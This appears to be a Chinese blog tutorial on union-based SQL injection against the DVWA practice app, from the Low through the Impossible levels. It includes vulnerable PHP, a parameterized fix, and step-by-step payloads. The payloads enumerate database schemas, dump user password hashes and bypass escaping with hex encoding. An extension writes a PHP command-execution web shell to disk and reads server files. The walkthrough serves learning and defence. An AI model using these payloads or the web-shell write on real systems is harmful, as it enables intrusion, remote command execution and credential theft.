Web渗透_SQL回显注入





SQL 回显注入

SQL注入原理:未对用户输入进行过滤,直接拼接了后台SQL代码进行数据库查询,返回给请求者查询结果。





SQL injection 的 Low等级 ↓


① 

检测能否注入,根据报错来判断,或者直接看页面代码(当然大部分现实情况下无法查看后台代码):

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>


② 

确定表中有多少个字段,1'  是为了让搜索为正确,当然这里1确实能查询到内容,但输入 ' 也不会报错,只是和输入空是一样的结果,1' 就是告诉服务器我查到这俩条件了,order by 2 说明是查询的这几列里按照第2列进行排序并返回,说明表里至少有这俩字段, -- 后面有空格,有空格才能注释掉后面的语句。其实下面都提示俩目标字段了,但为了进一步确定服务器在后台查询了几个字段,一定要试一下。

happysneaker.com


一定是有两个字段吗?测试 order by 3及以上都为假,1,2都为真,说明确实是只有两个字段:first_name 和 last_name , 当然这么说是不准确的,因为查询目标以供就俩,所以肯定是2,这也符合了输入ID提交后的提示信息,共俩字段。

happysneaker.comhappysneaker.com

happysneaker.com


当然可以加上 where 条件,只要表里有这个条件,同样可以查到。

happysneaker.comhappysneaker.comhappysneaker.com



order by 的作用得明白, order by + column  意思为查询结果返回的是:针对某一列column进行排序的结果,比如select * from table_A order by grades ,意思就是按照分数来进行排序:

如下,提供了五列数据,那么五列的列号就分别为1,2,3,4,5 , 此时 select * from 表名 oder by 2 的意思就是,查询所有的数据没有where筛选条件,但是结果必须得按照第2列进行排序返回(纯英文就是首字母排序)。

那么 select frist_name,last_name from 表名 order by 2 就是 按照last_name 进行排序然后返回first_name 和 last_name这两列的结果,

select first_name,last_name from 表名 order by 1 就是按照first_name巴拉巴拉,懂了吧。

happysneaker.com


再举个例子就更容易懂了:

happysneaker.com



③ 

确定了是两个字段,再确认下联合查询union select 能够按顺序对应上前面的字段,注意union select 与前面的select字段数要相同。

happysneaker.com


进一步确认:

happysneaker.com


那么接下来就可以对应字段来输入别的查询内容了,比如SQL里各种函数:

happysneaker.comhappysneaker.comhappysneaker.com

呐,数据库用户名root, 数据库版本 5.6.40,数据库名dvwa。

版本号5点几肯定是mysql,因为微软的SQLserver和oricle版本号早都十几了。


再就是 @@datadir  查询当前数据库文件的存放位置:

happysneaker.com


当然可以用hacker bar插件输入更长的语句方便查看,也不用一遍遍刷新返回。

happysneaker.com


再就是因为只有俩字段,所以每个字段只能使用一个函数,每次最多使用俩函数,但是别忘了 CONCAT_WS() 函数,比如:

CONCAT_WS(CHAR(32,58,32),user(),database(),version()) ,这样的话CONCAT就会同时运行这三个函数,并且返回结果通过ASCII码来间隔,32,58,32意思就是 空格冒号空格 , concat() 和 concat_ws() 作用一样,只是返回结果_ws表示的更清楚有分隔。

happysneaker.com

当然还有老鼻子多的函数比如计算MD5的 md5('') 等等等。因此在这里又延伸出了一个黑客思路,可以找到存在SQL注入的漏洞点,然后利用别人的服务器,为自己进行大量的计算工作,也是一个奇葩。


更方便的就是使用工具自动化测试了,比如sqlmap或者burpsuite,在这里还是回到问题本身上来,不多说。


④ 

回到本题本身,输入:

' union select table_name,table_schema from information_schema.tables -- 

这条语句就是查询数据库中所有表名对应的数据库名结构。

1和2对应了现在的 table_name 和 table_schema  :表名、表所在数据库名。 from information_schema.tables 从元数据库中查询以上信息,注意mysql5.0以上的每个数据库都有一个元数据库information_schema,5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名:

happysneaker.com

找到 dvwa 数据库,可以看到包含两张表: guestbook 和 users ,果然有一张 users 表:

happysneaker.com


查询内容太多,可以按照数据库名table_schema分类一下:

' union select table_schema,count(*) from information_schema.tables group by table_schema-- 

happysneaker.com

而且要想到,这一个Web application的漏洞就已经导致了整个数据库所有的表暴露了出来,这些表属于不同的应用。



针对 dvwa 的 users 表,我们得知道它的内容,它有哪些列,这些列叫什么名字,这些列下所包含的内容。进行尝试:

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'-- 

可以看到users表中有这些字段,对应上了。table_name 其实已经知道了,在这里只是为了输出结果有个对照。


happysneaker.com

happysneaker.com


为什么要这么写才能查到?

' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'-- 

看看MySQL的元数据库就懂了,既然是要查询列column的信息,那么就要从元数据库的columns表下手:

happysneaker.com


happysneaker.com


那我们就得到了users表中所有的列名,下一步就是 用户名和密码啦: user 和 password

' union select user,password from users-- 

happysneaker.com


换个格式表达一下, 0x3a 就是16进制表示的ASCII码,代表冒号:

' union select null,CONCAT(user,0x3a,password) from users-- 

happysneaker.com

密码HASH看起来有点像MD5,可以试着解密一下得到明文。




SQL injection 的 Medium等级 ↓

happysneaker.com


不允许输入了,F12看一下数据包,发现其实还是可以改变的:

happysneaker.com

那么通过Hackbar或者Burpsuite来post这个ID,试一下改变为 1' union select user,password from users--   ,会发现返回提示错误:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' union select user,password from users--' at line 1

什么意思呢,就是说在  \'   附近有语法错误,可知后台对输入的特殊字符进行了转义 ,加上了 \ 。ID在后台的三种情况为:'$id'   "$id"  和 $id  ,我们用的 ' 是第一种情况,再试试第二种,然后第三种,结果发现后台的代码中 $id 并没有加引号,成功注入。

happysneaker.com

 

也就是说中等难度其实只是转义了用户输入的特殊字符,以及去掉了$id的引号。但是另一个问题来了,过滤了特殊字符的话:

1 union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'-- 

这样的输入是不行的,因为  ' 会被转义,所以这里用到了另外一个绝密技巧:将 dvwa 和 users 分别 字符转16进制,去掉引号:

dvwa:64767761   , users:7573657273

别忘了加上 0x  ,这才是16进制的表示,所以注入代码就变成:

1 union select table_name,column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 -- 

同样成功:

happysneaker.com


在有字符过滤的情况下,可以对特殊字符进行Hex编码进行绕过。




SQL injection 的 High等级 ↓

High等级只是业务场景不同,手工注入和Low等级一样,只是工具注入得多添加一个 跳转页面,因为High等级业务场景输入界面和返回界面是不同的,比如sqlmap ,就得加一个 --second-order 参数。



Impossible等级就没有注入点了,无法注入,这也是SQL注入的常规修复思路。


代码:

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered? ①判断了数据类型
    if(is_numeric( $id )) {
        // Check the database  总结:下面三行就是参数化了SQL语句能够有效防止SQL注入。
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); // ② 预编译绑定参数 :id 就是 $id的值
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if( $data->rowCount() == 1 ) {
            // Get values
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>


结论:参数化的SQL语句能够有效防止SQL注入。


1. 将原来需要字符串拼接的值,用一个参数变量名代替.

2. 将参数变量与值绑定在一起、并且过滤用户的输入值

3. 交给执行函数进行SQL语句的提交

当然还有很多针对用户输入进行过滤,但是不要使用黑名单的方式,而是要使用白名单的方式。






扩展:SQL注入还可以结合读写文件:



读取文件


SQL注入也是可以读取服务器文件滴,用到 load_file() 函数,还是两个字段:

' union select null,load_file('c:\\Windows\\win.ini')-- 

试了下,没读出来,很尴尬。





写入文件--一句话木马

原理就是在注入点插入PHP一句话木马,但由于权限问题,可能无法写入到敏感路径,但是可以先上传到服务器,然后通过比如文件包含等漏洞进行执行。

' union select 1,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "D:\PHP Study\PHPTutorial\WWW\a.php" -- 


这些命令还可以转换成各种编码的格式进行上传,比如二进制等等。







注意:

① HTTPS只是提高了传输层的安全性,减少被嗅探、抓取的危险,但并非绝对安全。

② SessionID 一定意义上代表 Cookie ,记录用户登录状态,注意Session不是Cookie,SessionID才是Cookie,Session的作用是在用户登陆之后跟踪用户行为,提高用户体验。

③ 200s正常 : 301永久重定向:304本地有缓存了就别请求了:401需认证身份:403禁止访问:404请求文件找不到:500S服务器端错误。

④ 工具既不能迷信也不能不用,中庸即可。

⑤ 扫描无非两种模式: ① 截断数据被动扫描、② 主动扫描

⑥ table_name 表名,table_schema 数据库名,元数据库:information_schema

⑦ 要进行渗透,一定是先了解正常的软件业务流程,然后理解漏洞的原理是最重要的,工具、手法千奇百怪


Web安全技术分享
请先登录后发表评论
  • 最新评论
  • 总共0条评论